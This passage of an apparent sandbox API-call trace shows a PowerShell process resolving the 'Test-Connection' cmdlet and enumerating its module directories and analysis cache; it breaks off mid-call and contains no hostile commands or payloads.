GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x757940 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0113.630] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59febac, nSize=0xbe | out: lpBuffer="") returned 0x3a [0113.631] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0113.631] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0113.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feaa0) returned 1 [0113.631] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59fed64 | out: lpFileInformation=0x59fed64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0113.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fea9c) returned 1 [0113.632] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe43c, nSize=0xbe | out: lpBuffer="") returned 0x0 [0113.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0113.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0113.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feaa0) returned 1 [0113.633] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x59fed64 | out: lpFileInformation=0x59fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0113.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fea9c) returned 1 [0113.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed5c) returned 1 [0113.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0113.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0113.635] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Test-Connection.*", lpFindFileData=0x59feb0c | out: lpFindFileData=0x59feb0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feab4) returned 1 [0113.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed14) returned 1 [0113.636] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0113.636] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0113.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feaa0) returned 1 [0113.636] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59fed64 | out: lpFileInformation=0x59fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0113.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fea9c) returned 1 [0113.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed5c) returned 1 [0113.637] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0113.637] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0113.637] FindFirstFileW (in: lpFileName="C:\\Windows\\Test-Connection.*", lpFindFileData=0x59feb0c | out: lpFindFileData=0x59feb0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feab4) returned 1 [0113.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed14) returned 1 [0113.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0113.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0113.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feaa0) returned 1 [0113.638] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x59fed64 | out: lpFileInformation=0x59fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0113.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fea9c) returned 1 [0113.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed5c) returned 1 [0113.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0113.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0113.638] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Test-Connection.*", lpFindFileData=0x59feb0c | out: lpFindFileData=0x59feb0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feab4) returned 1 [0113.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed14) returned 1 [0113.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0113.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0113.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feaa0) returned 1 [0113.639] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x59fed64 | out: lpFileInformation=0x59fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0113.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fea9c) returned 1 [0113.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed5c) returned 1 [0113.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0113.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0113.639] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Test-Connection.*", lpFindFileData=0x59feb0c | out: lpFindFileData=0x59feb0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feab4) returned 1 [0113.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed14) returned 1 [0113.642] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59fec10, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0113.643] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59fec00, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0113.679] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0113.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0113.690] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0113.691] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0113.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd268 [0113.691] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.691] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0113.691] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0113.691] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.692] FindClose (in: hFindFile=0x6fd268 | out: hFindFile=0x6fd268) returned 1 [0113.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0113.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0113.692] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0113.692] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0113.693] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0113.693] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0113.693] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0113.693] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0113.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0113.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0113.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0113.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0113.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0113.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0113.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0113.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0113.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0113.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0113.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0113.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd268 [0113.694] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.695] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.695] FindNextFileW (in: hFindFile=0x6fd268, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.695] FindClose (in: hFindFile=0x6fd268 | out: hFindFile=0x6fd268) returned 1 [0113.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0113.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0113.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feae0) returned 1 [0113.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59feda4 | out: lpFileInformation=0x59feda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feadc) returned 1 [0113.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feb04) returned 1 [0113.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2770dfc | out: lpFileInformation=0x2770dfc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feb00) returned 1 [0113.702] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x59fddb4, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0113.702] CoTaskMemAlloc (cb=0x20c) returned 0x75d048 [0113.702] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x75d048 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0113.702] CoTaskMemFree (pv=0x75d048) [0113.702] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0113.702] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0113.702] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0113.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0113.703] GetFullPathNameW (in: 